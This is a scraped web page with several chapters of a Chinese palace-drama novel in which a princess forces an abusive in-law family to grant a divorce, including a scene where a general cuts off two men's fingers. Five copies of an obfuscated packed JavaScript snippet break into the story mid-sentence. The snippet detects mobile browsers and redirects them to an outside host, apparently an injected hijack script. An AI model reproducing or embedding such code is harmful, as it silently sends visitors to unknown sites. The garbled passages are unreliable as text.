赵元婴义愤填膺道:“可父亲和祖父的仇不能不报,还有大哥你这一臂……” “我已成了这幅模样,父亲的仇便由我来报吧!” 赵元吉看着红了眼的小弟,苦口婆心道:“没了这一臂,我便再做不得上马征战的将军,这多我来说与死又有何区别?” “能与祖父和父亲一同征战沙场,我这一辈子,值了!” 赵元婴倔强站起身,冷冷道:“大哥是觉得我能力不够,不能为父亲和祖父报仇是吗?元婴再不济,好歹了无牵挂;可大哥已成婚,怎可做那抛妻弃子的无情无义之人……” “沛之,难道你还不明白,我们要面对的是什么?!” 赵元吉忽的大吼起来,“覆巢之下焉有完卵!若不及早抽身,咱们全家便只有死路一条!” 赵元婴忙不迭反诘,“不拼上一拼,怎么知道鹿死谁手?” “你叫我用亲兄弟的命去赌?!” “从小到大,我素来舍不得你受半丝委屈——多少年寒来暑往,你我兄弟练功时脱过多少层皮?偷得半日闲时左不过带你去钓鱼、戏水,父亲但有责罚也都是我挡在你前头……” 赵元吉双目赤红,忽的哽咽起来:“我怎么舍得亲眼看着你去送死?!” 赵元婴喉头一堵,“兄长素来疼我,可兄长拖着残躯尚且能为我赵家冲锋**,难不成我这个被哥哥护在身后之人却要临阵脱逃?!” 屋内一时静谧如斯—— 兄弟二人激动不已! 他们如两头倔牛般相互较力,谁也不肯退缩半步! 半晌,赵元吉这才败下阵来! 他懊恼的站起身,大声道:“我今日不过是来知会你一声,你既不愿意后撤,我便另寻其他法子!只一样,你一定要照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649089|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾好你嫂子和侄儿!” 赵元婴心头一跳,忙不迭站起身,质问道:“大哥你要做什么?你若实在放心不下家里人,便带着她们远走高飞吧!” “反正不报父仇、元婴誓不为人!” “好好好,你如今翅膀硬了,敢和大哥叫板了!” 赵元吉气不打一处来,甩着袖子道:“你既如此不听劝,就别怪大哥不讲情面。反正京城你是留不下的,你既不愿主动离开,为兄便受累送你一程!” “大哥……” “你不用再说了!我主意已定,你只需记好我的话就行!” 看着兄长拂袖而去的背影,赵元婴的心头笼罩上一层厚厚的阴影—— 大哥,你这究竟是…… ----------------- “长公主殿下,臣妾有礼了!” 孙夫人带着儿子孙彪朝商无忧缓缓跪倒,口中赞道:“殿下为我大辉受此重创,真乃我朝护国神女,臣妾代大辉百姓叩谢天恩!” 碧萝闻言不由冷笑:今日这孙夫人竟似转了性,看来她定是觉得此番能得偿所愿,嘴上这才如抹了蜜般赞起她家长公主来! 好个贱妇,待会儿有你哭的时候! 她上的长公主打了个哈欠,随意的朝着身旁侍女道:“那下头跪的是谁,他们这是干什么来了?” 孙夫人一愣,却听那侍女恭敬的道:“这是光禄勋孙大人的夫人,因殿下赏了她儿子四品官职,特意来谢恩!” 孙夫人闻言心头大喜。 商无忧歪在踏上,无聊的挥了挥手,朝下头二人道:“你们不必谢本宫,若不是看在赵家大小姐的面子上,本宫哪里只道什么孙家?!” “行了,本宫要歇着了,你们都下去吧!” 孙彪闻言忙不迭向上叩头,“臣多谢长公主恩典,只是拙荆和小女已多日未归,家父甚是想念,此番下臣是想将她二人一同接回府去……” 商无忧一手托腮,勾起嘴角清笑道:“赵子芳和孙颖以后就留在国公府,不能跟你们回去了!” 第一百三十二章 我要和离(一) 什么叫不跟他回去了?! 孙彪一怔,到底不敢得罪座上之人,只得小心翼翼道:“殿下所言何意?莫不是子芳病了,想要在国公府中将养些日子?还是说玲珑身子又不好了?” “殿下放心,玲珑乃是胎里带来的弱症,她从小到大一直是这个样子,不碍事的……” “赵大小姐身子强健,自是无灾无病;至于你那位嫡女嘛……” 商无忧冷冷瞥了孙彪一眼,孙彪被那碧色双眸中的嘲弄之色吓得打了个哆嗦。 “那孩子虽是早产,若是后天好生将养,却也补得回来;你身为父亲,竟将自个儿的嫡女丢给姨娘们照顾,岂不是有意绝她的性命?!” 商无忧冷飕飕道:“本宫叫宫中太医给赵子芳母女二人诊治过,赵大小姐的身子因在孕期服食过大寒之物而伤了根本;玲珑因母体之故受累,天生体质寒凉,若不是她命硬,只怕早就夭折了!” 孙夫人闻言身子一抖,忽的大声道:“冤枉啊!我们家从来没亏待过过子芳;玲珑是我嫡亲的孙女,我怎么舍得她受苦……” “你的意思是,本宫在扯谎?” 孙夫人闻言哭声一滞。 商无忧朝碧萝使了个眼色,碧萝忙从怀中掏出几张纸,狠狠丢在孙夫人面前,朗声道:“夫人好好看看,这是宫中几位太医为赵大小姐诊治的脉案,上头清清楚楚的写了她曾‘被大寒之物伤身’,孙家还有什么好说的?” 商无忧端起手边热茶轻轻抿了一口,垂眸低声道:“本宫这儿还有玲珑的脉案,你们要看吗?” 孙彪只道长公主是故意用此事敲打自己,好叫孙家往后善待于赵子芳,闻言忙不迭朝上叩了个头:“殿下恕罪!子芳性子倔强,微臣又不够体贴,之前着实叫她受了不少委屈。不过殿下放心,从今往后微臣一定好好待她们母子……” 碧萝看了看一旁跪着的妇人,沉声道:“夫人怎么说?” 上头坐着的可是稳稳拿捏儿子前途之人,孙夫人岂敢不识时务?忙俯身拜道:“今后臣妾一定好好待子芳……” “看来你们是承认苛待儿媳了!” 商无忧冷哼一声,忽的沉声道:“前面的事本宫为你做完了,后面的需得你自己做个了断!” “来人,请大小姐和刘氏夫人出来!” 孙夫人一愣,却见屏风后走出两个妇人来——其中一个乃是大司农之妻刘氏;另一个怀抱稚子的正是她的儿媳——赵子芳! 长公主此时叫儿媳妇出来她能理解,可叫上刘氏夫人一起又是个什么意思? 赵子芳抱着孙颖来着二人面前,大声道:“请长公主为证,臣女要与孙家和离!” 孙彪脸色一沉,好个狐假虎威的妇人!不过是为丈夫向身为公主的妯娌讨个官职,她竟拿起乔来?! 和离这样的话,她还真敢说! 罢了,看在长公主的份上,他此番便不与她计较了! 思及此处孙彪忙换了脸色,面上随即现出一抹讨好的笑,朝着一脸冷漠的妻子道:“子芳,为夫承认自己之前是荒唐了些,那还不是因为之前每个正经差事、我也只得东游西逛的打发时间;可为夫如今做了四品官,又有长公主照应,想来用不了多久便能给你挣得个诰命回来。之前都是为夫的错,为夫保证,只要你跟我回府,咱们今后便还是恩爱夫妻!” 他口中虽如此说,却用充满威慑的眼神看了赵子芳一眼—— 臭娘们儿,本少爷这是跟你脸面,你可别不识好歹! 赵子芳只需一眼便知丈夫在想什么,她哼了一声,不屑的转过头去。 孙夫人也赔上笑脸,柔声劝慰道:“子芳,这么多年来,我可是将你当成亲生女儿般疼爱啊,你怎能说出‘和离’这般绝情的话……” “夫人会夺了亲生女儿的中馈之权吗?会在她亲族出事时将之关入柴房,不准归家探望吗?会在她生产之后夺了她的女儿丢给妾室养育吗?!” 赵子芳提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649090|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起孙夫人的所作所为不由得咬牙切齿—— “若是亲生母亲,怎么会纵容妾室**自己的女儿和孙女,任由她们在我的饮食中下入大寒之物?!” 孙夫人脸色大变—— 下药之事她是怎么知道的?! “夫人不必好奇,给我下药的那**已被长公主差人拿了——夫人一只忌惮我娘家势大,又怕我生下嫡子、您在府中的地位便岌岌可危,便指使身边婆子挑唆夫君的妾室对我下药。如今人证物证俱在国公府手中,夫人要不要子芳将人提来,好与您对峙?” “你、你……” 孙夫人心下大惊,赵子芳既已知道此事、又选择在此时说出来,看来真是动了和离的心了! 这怎么成?! 赵家本已式微,却借着尚公主之势重获盛宠;而光禄勋府的威势已大不如前,失了这样的亲家照拂,孙家日后要如何在京城中立足? 她看了看榻上一脸兴致缺缺的长公主—— 这一位虽有个“神厌鬼弃”的名号,眼下确实陛下眼前的红人!她一句话便能叫彪儿坐上四品京官之位,似这般的靠山便是打着灯笼也寻不见! 没了赵子芳,若孙家再想攀上这样的有权有势之人,只怕要等到猴年马月了! 想到此处孙夫人忙做出一脸悲愤状,大声哭道:“求长公主给臣妾做主,世上哪有这般冤枉婆母的儿媳?亏我一片真心为你——你怀孕时思虑过重,那妾室才有机可乘,这事玩完怪不到我身上啊;你娘家遭难,我是怕你和玲珑被连累,这才不准你归家……” “至于那中馈之权——你生产后体弱,婆婆我是想让你多多休息;玲珑刚降生时夜夜啼哭,我也是心疼你,怕你休息不好,这才将孩子抱了去……” 孙夫人说着一屁股跪在地上,呼天抢地的嚎叫起来—— “没想到,我这做婆婆的一片苦心,竟遭你这般误解……天老爷啊,被儿媳妇这般污蔑,我没是脸活了!” 第一百三十三章 拿休书来! 孙夫人嚎了两嗓子,又朝紧紧靠在赵子芳怀中的孙颖道:“玲珑啊,不是祖母不疼你,是你娘太过狠心,她竟想要咱们祖孙分离……好孩子,还不离开这个坏女人,赶紧到祖母这儿来……” 孙颖见状忙朝母亲怀中缩了缩。 祖母看不上自己是个女孩子,从来就没给过她一个好脸,平日里对她这孙府嫡小姐呼来喝去、动辄打骂,孙颖对祖母畏之如虎,此时又怎会听她的召唤、远离自己的生母? 刘氏挑了挑眉,今日可算是眼界大开! 堂堂光禄勋的嫡夫人,撒起泼来竟比市井泼妇还要厉害! 商无忧却不惯孙夫人这个毛病。 她摆了摆手,大声道:“父皇金口玉言,本宫养病期间任何人不得吵闹。福童,将这个泼妇给本宫拖出去,赏她十板子,好叫她长长记性!” 孙彪母子闻言脸色大变。 福童面上显出丝迟疑,忙躬身道:“殿下且慢,这可是光禄勋的夫人啊……” 孙夫人面色一松,忙朝福童投去感激的目光。 商无忧却满不在乎道:“光禄勋又如何?本宫连嫔妃都惩戒过,整治她一个小小官眷又岂在话下?” “奴婢的意思是说,区区十板子,只怕配不上孙大人两朝为臣的威风。依奴婢看,应该再加十板才是!” “准了!” 商无忧一声令下,几个膀大腰圆的婆子便气势汹汹的冲了进来,不由分说便堵住了孙夫人的嘴,架着她的胳膊将人向外拖。 孙彪想要伸手去拦,福童见状把眼一瞪:“孙大人是想要抗旨吗?” 孙彪伸在半空中的手一顿—— 上头那位可是出了名的难缠! 连淑妃都在她手中吃过亏,他可惹不起这位女阎王! 听着外头传来噼里啪啦的板子声,孙彪的心一抖,他皱着眉、闭着眼,口中默道: 母亲,儿子眼下自身难保,您自求多福吧…… 不多时,婆子们便拖着龇牙咧嘴的孙夫人回到内室,随即将人随意朝地上一扔。 孙夫人何时受过这个罪?她哀嚎了一声,伏在地上痛哭起来—— 赵子芳见她悲惨的样子,心头只觉一阵畅快—— 老虔婆,你也有今天! 碧萝见状忙开口斥道:“还敢大呼小叫?看来夫人这顿板子是白挨了!” 孙夫人的哭声一滞—— 她微微动了动身子,只觉从后臀处传来一阵钝痛—— 嘶! 这疯婆子下手怎么这么狠?! 她的丈夫是两朝老臣,这天杀的长公主竟敢责打命妇,就不怕御史参她一本吗?! 孙夫人在心中暗恨,到底不敢再撒泼。 商无忧这才满意的点了点头,“既然夫人闹完了,本宫便来说句公道话!” “孙少爷与赵大小姐,不甚般配!” “与其做一对怨偶,不如各退一步,给彼此留一丝余地。” 商无忧看了看满心不甘的孙彪,和色厉内荏的孙夫人,沉声道:“本宫觉得你二人和离未尝不可——和离后,孙少爷爱娶几房娶几房;夫人您也可以另寻个门第不如孙家的女子娶进门,到时您尽可拿出做婆婆的款儿使劲儿的欺压儿媳;女方高嫁,想来也不敢忤逆婆母之意,如此岂不两全其美?!” “本宫既答应许给孙家少爷官职,便绝不反悔!赵家和孙家都在京中为官,不如好聚好散,日后也好相见。” 商无忧说着呵呵冷笑,“可若你们敬酒不吃吃罚酒,可别怪本宫不留情面!” 孙彪神情松动。 他早就腻了倔强的赵子芳! 身为女子,就该如他那几个妾室般,视自己这做夫君的如天,对夫家唯命是从;偏赵子芳行事刚强,凡事一板一眼,她仗着自己是国公府的嫡长女,竟敢对他的所作所为指手画脚!偏她娘家当年势强,连父亲、母亲亦对着她陪笑脸;他不敢明着苛待她,只将妾室一个又一个的纳进门。 如今既有机会官员恒通,还能顺便离了这无趣的女子,何乐而不为?! 孙夫人却暗自打起小算盘—— 长公主这般盛势,她必要死死抓住! 大不了拉下脸来求求这小**,只要将她和那臭丫头哄回孙家,她们娘儿俩还不得由着她这当家主母拿捏?! 她还有儿子,娘家还有侄儿,这几个不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649091|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 争气的孩子将来都得靠长公主提携,赵子芳这棵摇钱树她是无论如何也不能放她离去的! 长公主又如何?她就不信,她敢逼着官宦人家和离! 思及此处孙夫人忽的变了嘴脸,冷冷道:“赵子芳成婚五年却没有为我孙家诞下男丁,既然她要走,那便只配得我孙家一封休书,想要和离却是万万不能!” “母亲,你这又是何必……” 孙夫人狠狠瞪了眼不争气的儿子,转头朗声道:“既然是休妻,赵子芳的嫁妆概不退还!还有玲珑,她是我孙家人,得还给我们家!” “请长公主即刻请史太君与国公夫人来,我现在就叫彪儿写休书!” 孙夫人得意的看着赵子芳变了脸色。 她就知道,这**舍不得怀里那个小赔钱货! 而国公府是断断丢不起“女被休”嫡这个人的! “好,嫁妆和孩子都给你,你现在就拿休书来;至于太君与国公夫人,还是不必请了,夫人是怕本宫做不了主吗?” 商无忧说着拍了拍手,身旁的婢女竟捧过笔墨纸砚来至二人面前。 孙夫人不敢置信的抬起头,死死盯着白着脸的赵子芳—— 难道这**真豁出去了?! 这可怎么办…… “夫人还不动笔,是在等什么?” 听到商无忧的催促,孙夫人把心一横,忽的大声道:“想要休书,再拿一万两来,赵子芳这么多年生不出嫡子,孙府被她闹得鸡飞狗跳,总该给我们些补偿吧?” 孙彪闻言大惊失色,“娘,你这是……” “来人,给银子!” 商无忧一声令下,身旁的姑姑便捧出一个匣子,匣子一开,里头竟是一沓厚厚的银票。 “夫人要不要数数看,足足一万两,分文不少!” 孙夫人眼神闪动,又道:“我还有一子,殿下也得给他寻个官职……” “好说,就让他先在礼部领个闲职,这下可以写休书了吗?” 孙夫人咬了咬牙,“我娘家的侄子也要做官……” 商无忧眸中寒光一闪,冷冷道:“胆敢戏耍本宫,你还真是不见棺材不落泪!” 第一百三十四章 小惩大诫 歪在榻上的长公主冷冷讽了一句,双碧色眼中随即泛起森森的寒意,孙彪心惊胆战的望向母亲,随即轻轻摇了摇头—— 娘啊,长公主给个台阶您下来便是,要是真将这神厌鬼弃的疯婆子惹怒了,您就不怕她对咱们痛下**?! 孙夫人见状狠狠剜了眼儿子—— 不争气的东西,她这是在替谁谋福?! 上头那一位是不好相与,可她头上还有皇帝管着,难不成她真敢对自己这两朝老臣之妻动手? 她可是有诰命在身,便是淑妃也轻易动她不得! 她就不信,长公主敢拿刀子架在她脖子上、逼着孙家与赵家和离?! 赵子芳如今可是棵摇钱树,她定要死死抓住。 这丫头若铁了心与儿子和离,长公主便要割下一大块血肉给孙家,唯有如此她才能放赵子芳母女离去! 赵子芳见状眼中一片死寂—— 她早就知道,不脱下几层皮别想离开孙家!可她小瞧了孙夫人的无耻,这老虔婆压根儿没想给她留活路。这毒妇不仅打定主意要吸干她的血,还想拿她和女儿的命来逼赵家就范;她若还想带着女儿离开孙彪,只怕赵家人几辈子的名声便都毁在她手中了! “原想着赵、孙两家都在皇城里头讨生活,若能好聚好散也算全了彼此的脸面!没想到你这刁妇竟这般不识抬举,敢将本宫当成猴子般戏耍,你也算是本朝第一人了!” 商无忧面上显出一抹高深莫测的笑,转头朝赵子芳道:“大小姐将玲珑抱出去吧,接下来场面血腥,千万别吓到孩子!” 赵子芳一怔,回过头无助的看向商无忧:都到这地步了,长公主还能帮她做主吗? 难不成她真要拿刀逼着孙家…… 若真如此,长公主在祭台上豁出性命挣得的贤名便算是彻底完了! 真要叫人家为自己赔上一辈子?! 赵子芳心头漫起深深的悲哀,偏她眼中干涩、连一滴泪都流不出,她抖着唇,低声道:“殿下,我不和……” “大小姐,你现在便去寻国公夫人,一个时辰后再来本宫处取和离书!” 赵子芳抬起眼,长公主那深碧色中透出光芒奇异的抚慰了她已如死灰的心;她振奋了精神,朝着商无忧屈膝施礼,这才紧紧抱着怀中幼子,快步朝外走去! “殿下这是在吓唬妾身吗?” 孙夫人挺直胸口,大声道:“赵子芳虽犯了七出之条,我儿却不是无情无义之人;念在她好歹为我孙家诞下一女的份上,我会叫彪儿带她回府;只要她日后安分守己,孙家绝不会苛待于她!” 霜姑姑无言叹了口气—— 这妇人真是蠢钝如猪! 为了让赵子芳平安离开孙家,长公主可是给足了孙家脸面;无论孙家是要钱还是要权,长公主都一口应了下来,可孙夫人贪心不足,竟得寸进尺的威胁起殿下来! 她家殿下是什么人?孙夫人真以为殿下不敢与她撕破脸吗?! 孙夫人不见好就收,一会儿场面难看起来,孙夫人只怕赔了夫人又折兵! 商无忧闻言忽的低笑了起来,“孙夫人刚刚说你还有两个侄儿,你要为他们求官是吗?” 孙夫人眼神一亮! 她就知道,长公主不敢将她这诰命夫人如何!???????????? 想到此处她得意的道:“正是如此,我娘家侄儿虽不是读书的料,可他二人从小习武、乃是上阵杀敌的好苗子!臣妾知道赵家在军中人脉甚旺,还请殿下从中撮合,将我这两个侄儿调入军中。有国公爷照应着,他们二人将来必能做一方将领,为我孙家再添荣耀……” “从军是吧?这事好说!” 商无忧冷笑一声,忽的大声道:“征西将军可将孙夫人的话听清了?” “殿下放心,此等小事臣早已办妥!” 房门一开,赵元吉沉着脸走了进来,孙彪见状瞳孔一缩,头上冷汗便流了下来—— 这可是大辉朝第一凶煞之人。 这些年他征战沙场,死在他手上的蛮子不计其数,更有“人屠”之称;因孙彪爱流连花丛,这位内弟对他从没有过好脸色。赵元吉乃征战杀伐之人,杀气升腾时只需一个眼神便能将人钉在原地,孙彪从来畏之如虎。今日见他前来,孙彪便知此事难善了,脸上忙浮上个难看的笑,轻声道:“元吉,你来了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649092|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵元吉目不斜视,轻轻朝身后招了招手,“带上来!” 两个五花大绑的少年郎被推搡着入得门来,孙夫人一见就变了脸色,大声道:“如辉、如辰,你们这是怎么了?” 二人一见孙夫人便跪在地上,嚎啕痛哭道:“姑姑救命!咱们不要被送到前线去,北狄蛮子那般凶恶,这不是要我们兄弟的命吗……” 孙夫**惊失色,转头朝商无忧怒道:“长公主,您为何将我两个侄儿绑到此地?” “不是你叫本宫将他们二人送入军中的吗,如今怎么反倒质问起本宫来?” 商无忧换了个姿势,舒服的歪着软垫上,笑道:“大辉与北狄正在用兵,孙夫人将自愿将自己亲侄儿送往军前效力,真乃大义之举……” 孙夫人梗着脖子大声道:“殿下公报私仇,臣妾不服!” 商无忧呵呵笑道:“你刚刚说的话大司农夫人可是听得清清楚楚,本宫何曾冤枉了你?” 刘氏点了点头,“孙夫人刚刚确实说过想叫子侄到军前效力。” ?孙夫人白着脸、无力的摇着头—— 她的侄儿怎么能做大头兵? 该做高阶将校才是啊…… 长公主这是公报私仇!???????????? 她刚要开口咒骂,忽听一脸寒色的赵元吉道:“启禀殿下,微臣奉命将这两个小子带往兵部,谁知他二人竟再半路私逃:按我朝律法,私自逃脱军职者,该处极刑!” 孙夫人闻言面色一白:不、不行…… 商无忧闻言叹了口气,“国法既如此,本宫也不好徇私;世人谁不知赵、孙两家乃是亲家,逃兵之事若不严惩,我大辉恐国将不国!” 孙夫人的心一下提到嗓子眼,却听长公主继续道:“不过眼下正是用人之际,不如暂留他二人的性命,让他们上阵杀敌为好!” 孙夫人的心又回到肚子里,她铁青着脸哼哼一声,她就知道,长公主是故意吓她的…… 商无忧见状嘴角浮上一抹残忍的笑,低声道:“然国法不可不正,他们既犯了法,总要惩罚才是!” “不如先切下他们几根手指吧!” 第一百三十五章 和离书 赵元吉沉着脸,高声道:“但不知该切哪几根才好?” 商无忧歪着头想了想,“上阵杀敌总得用刀,拇指还是该留下来,不如就先切小指和无名指吧!” 赵元吉冷冷道:“启禀殿下,若将无名指和小指一起砍了,只怕这两人还是拿不稳刀。” “那征西将军以为该如何?” “回殿下,据臣所知,军中有不少断了小指和食指的老兵,他们皆能上阵杀敌。” “既如此,将军便动手吧!” 赵元吉闻言转过身,朝左右军士使了个眼色;军士们忙冲上前解开绳索、几人合力制住孙如挥与孙如辰,并将他们的左手摊平在地。 孙夫人犹自不甘,不屑的道:“殿下还想吓我?我就不信……” 呛啷! “啊!” 孙夫人话音未落,赵元吉忽的抽出腰间长刀,刷刷两刀便将孙氏兄弟的小指切断。 十指连心,两兄弟登时血流如注、疼的在地上打起滚来。 看着血泊中的两根断指,孙彪脸色一白,立时趴在地上干呕起来;孙夫人先是一愣,随即发出一声凄厉的尖叫,猛地朝赵元吉冲了过去。 “拦住她!” 福童喝了一声,左右便冲上几个婆子,将孙夫人死死按在地上,孙夫人涕泪横流,尖叫道:“长公主欺人太甚,你竟真断了他们的手指……” 商无忧捂着嘴无聊的打了个哈欠,“这算什么?当初本宫亲手挑断了陈子昂的手脚筋,又削去了太常的头发;如今本宫伤重,这种血腥之事只得叫征西将军代劳,本宫实在是不好意思!” 赵元吉勾了勾嘴角,“殿下有命,臣怎敢不遵?” “来人,将他们两个带过来,本将军此番要剁掉他们的食指!” 孙氏兄弟哭嚎如丧家之犬,一见又有人来按着他们,立时便激动起来,一边挣扎一边朝孙夫人凄厉的叫道:“姑姑救命,姑姑救命啊……” 孙夫人被人按在地上,她眼前发黑,闻声便气若游丝的道:“别、别……” 赵元吉却不听她废话,看着士兵们手脚利落的将孙氏兄弟染血的手再次伸了出来,想到受了孙家多年折磨的姐姐和外甥女,他没有半丝犹疑的再次手起刀落,将那二人的食指剁了下来。 孙彪本是个纨绔,他在家中称王称霸、却不曾见识过过这等血腥手段;闻着满屋的血腥气、再看着倒在血泊中的两位表兄弟,他眼睛向上一翻,咕咚一声栽倒在地。 眼前的鲜血如此刺目! 孙夫人到底一介女流,她先是被打了板子、又被商无忧激的心情上下不定,此时眼见着侄儿倒在血泊中,她终于一口气上不来、双眼一闭,人直挺挺的趴在地上,也跟着撅了过去。 福童见她母子二人没了声息,忙上前查看,随即转身朝商无忧道:“禀殿下,人晕过去了。” 商无忧无聊的摆了摆手,不屑道:“这二人折磨子芳时精神抖擞,眼下不过见自家人流些血,怎么就受不住了?” 福童笑道:“瞧殿下说的,这板子不打在自己身上,他们当然不疼!” 刘氏不住心惊,暗道长公主果真行事乖张,为了替大姑子和离竟用此血腥手段**命妇,自己不知是该敬佩还是该惧怕…… 商无忧微微一笑,“将人泼醒!” 一桶凉水下去,孙彪母子二人陡然清醒过来。 彼时孙家兄弟已被拖了下去,地上只余一滩暗红的血迹和几根断指。 孙夫人神情萎靡的趴在地上,死死盯着那滩血,喃喃道:“是我害了他们……” 孙彪打了个激灵,他猛然直起身,抖着声音朝上叩头—— “长公主饶命,孙彪愿与赵子芳和离!” 商无忧眸光一厉,冷冷道:“嫁妆呢?孩子呢?” 孙彪咬了咬牙,“子芳的嫁妆自是完璧归赵,至于玲珑……她自幼身子不好,孙家无能,今后还是让她在国公府调养吧。” 商无忧瞥了眼萎靡不振的孙夫人,沉声道:“孙家之事,你说了算吗?” 孙彪一抖,忙不迭冲过去扶起母亲,低声喝道:“娘,你说句话啊!难不成要为一个**拖**?!” 孙夫人目光呆滞的看着儿子,眼中忽的流出悔恨的泪来—— 她不该得罪长公主,不该啊…… “拿和离书来,我签就是……” 商无忧闻言这才露出一丝满意的笑,忙朝碧萝道:“叫人将这里收拾干净,去请国公夫人和大小姐过来。” ----------------- 待赵子芳陪着李氏夫人再次回到长公主待客的正厅,屋里的血腥气早已散去,她的丈夫孙彪、婆婆孙夫人已不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649093|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复当初盛气凌人的样子,母子俩萎靡的坐在一旁。 赵子芳眉心一跳:看这二人的样子,莫不是和离之事有眉目了?! 思及此处,她的心雀跃的跳动起来。 李氏夫人一脸愤怒的逼视着孙夫人和孙彪—— 子芳说要与孙家和离! 好一对人面兽心的贼母子! 当初她满心欢喜的将长女嫁入孙府,图的就是孙大人为人正直、和善,她只求女儿这辈子能幸福、平安!没想到孙家母子狼子野心,竟苛待她的嫡女和外孙女至此,若不是此番子芳声泪俱下的哭诉,她还真想不到,堂堂光禄勋府,竟会苛待儿媳! 李夫人心一酸—— 她捧在手心里养大的女儿,怎么就成了个和离的妇人?! 可纵使有千般不愿,她也不能眼睁睁看着长女被孙家磋磨至死! 只要能叫子芳离了孙家,付出什么代价她都愿意! “夫人来了!” 商无忧在霜姑姑的搀扶下起了身,轻声道:“孙夫人嫌其子行事不端,因怕委屈了大小姐,此番特来与子芳和离;本宫为谨慎起见,特请来大司农之妻刘氏来做见证,此乃和离书,还请夫人过目!” 李夫人一怔。 孙家这般难缠,此番怎会如此轻易便同意和离? 她看了看笑眯眯的商无忧,不由的轻声叹了口气—— 这个儿媳妇,还真是娶着了…… 赵子芳看着和离书上的内容,强自压下心惊,颤巍巍的在上头按上了手印;孙彪看也不敢看她一眼,也低着头在上头按了手印。 见状,赵子芳终于长出了一口气,她拉着母亲的手,不由得热泪盈眶。 商无忧看着双方收好和离书,笑呵呵朝孙夫人道:“本宫答应的事不会变——孙彪的任命书这两天便会到;至于孙家二位公子,他们还需往军队中走一趟,不过冀州不用去了!” 孙夫人叹了口气,长公主这是防着孙家出去乱说,以侄儿们的性命要挟她呢! 眼下人为刀俎,孙夫人哪儿还敢说什么?! 处理完一切,商无忧疲惫的打了个哈欠,随手将霜姑姑匣子中一沓厚厚的银票丢在孙家母子脚前,慵懒的道:“好生送孙夫人出去,今日本宫得罪了,这些银子你们拿去,权当压惊用吧!” “送客!” 第一百三十六章 可是芳儿,你今后该怎么办 李氏远远看着孙彪母子灰溜溜离去的背影,终于长叹了口气,转身朝刘夫人道:“有劳夫人为小女和离做见证,明日我便让元婴备上厚礼,亲自去府上酬谢!” 刘氏忙道:“太夫人何必客气!小女深受长公主大恩,自然该投桃报李!” 李氏一愣,“长公主与陈小姐……” 刘夫人面带微笑的解释道:“太夫人也知道,小女自幼便是个痴儿,满城勋贵背地里谁不暗讽她一句‘陈呆子’,前些日子殿下受伤,我便想着带着孩子进宫探病,殿下是天命神女,若小女能沾到殿下半丝福气,我这做娘的便是**也值了!” “若若回家便连发了三日的高烧,我和她父亲急的什么似的;本以为女儿这条命是保不住了,岂料这孩子竟奇迹般的好了!” 她欣慰的道:“往日里痴痴傻傻的一个人,如今倒比寻常人更聪慧上几分!陈家欠长公主一个天大的人情,如今长公主有命,妾身自是无有不从!” 李夫人闻言微微皱起了眉,略带担忧道:“可孙夫人乃是心胸狭隘之辈,我是怕孙家因和离之事恨上了您,若他们迁怒与大司农,我们心里怎么过意的去……” “母亲不必过分忧虑。” 赵子芳思忖片刻,这才道:“孙家母子最是欺软怕硬——之前在咱们家对之何其尊重,他们却那般苛待我们母女;如今长公主殿下手段如此强硬,此番她们知道了殿下的厉害,想来不敢再给咱们使绊子!” “再说孙家早已大势已去,如今府中除了公公一人领着光禄勋的虚衔,阖府之内再无人是官身;如若不然也不会逼迫女儿来求长公主为孙彪谋官职了!” 